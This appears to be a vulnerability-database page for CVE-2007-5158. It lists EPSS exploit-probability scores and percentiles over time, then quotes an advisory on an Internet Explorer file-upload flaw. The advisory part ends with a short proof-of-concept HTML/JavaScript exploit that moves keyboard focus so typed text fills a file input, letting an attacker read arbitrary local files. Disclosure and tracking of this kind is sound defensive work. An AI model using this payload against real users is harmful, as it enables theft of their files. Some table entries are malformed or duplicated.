CVE-2007-5158 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	24.73%	–	–
2022-04-03	–	–	24.73%	–	–
2023-03-12	–	–	–	2.4%	–
2023-05-21	–	–	–	3.36%	–
2023-06-25	–	–	–	6.43%	–
2023-07-30	–	–	–	6.16%	–
2023-09-03	–	–	–	18.61%	–
2023-10-08	–	–	–	5.78%	–
2023-10-29	–	–	–	5.78%	–
2023-11-12	–	–	–	7.43%	–
2023-12-24	–	–	–	6.06%	–
2024-01-28	–	–	–	5.89%	–
2024-03-10	–	–	–	8.33%	–
2024-04-14	–	–	–	8.7%	–
2024-06-02	–	–	–	8.7%	–
2024-06-30	–	–	–	9.49%	–
2024-09-15	–	–	–	6.93%	–
2024-12-22	–	–	–	3.8%	–
2025-01-05	–	–	–	4.05%	–
2025-01-19	–	–	–	4.05%	–
2025-03-18	–	–	–	–	21.87%
2025-03-30	–	–	–	–	19.54%
2025-03-30	–	–	–	–	19.54,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	95%
2022-04-03	97%
2023-03-12	88%
2023-05-21	9%
2023-06-25	93%
2023-07-30	93%
2023-09-03	96%
2023-10-08	92%
2023-10-29	93%
2023-11-12	93%
2023-12-24	93%
2024-01-28	93%
2024-03-10	94%
2024-04-14	94%
2024-06-02	95%
2024-06-30	95%
2024-09-15	94%
2024-12-22	92%
2025-01-05	92%
2025-01-19	92%
2025-03-18	95%
2025-03-30	95%
2025-03-30	95%

source: https://www.securityfocus.com/bid/25836/info Microsoft Internet Explorer is prone to an information-disclosure vulnerability that allows attackers to gain access to the contents of arbitrary files. This issue stems from a design error resulting from the improper handling of form fields. This issue is similar to the one described in BID 24725 (Mozilla Firefox OnKeyDown Event File Upload Vulnerability). # based upon Hong's exploit: # http://sla.ckers.org/forum/read.php?3,13142 <script> function Clear() { document.getElementById("label1").htmlFor="file1"; document.getElementById("text1").focus(); } function Down() { document.getElementById("file1").focus(); } </script> <input type="file" id="file1" name="file1" onkeydown="Clear()" onkeyup="Clear()" /> <label id="label1" name="label1"></label> <br /> <textarea name="text1" id="text1" onkeydown="Down()"> &lt;/textarea&gt;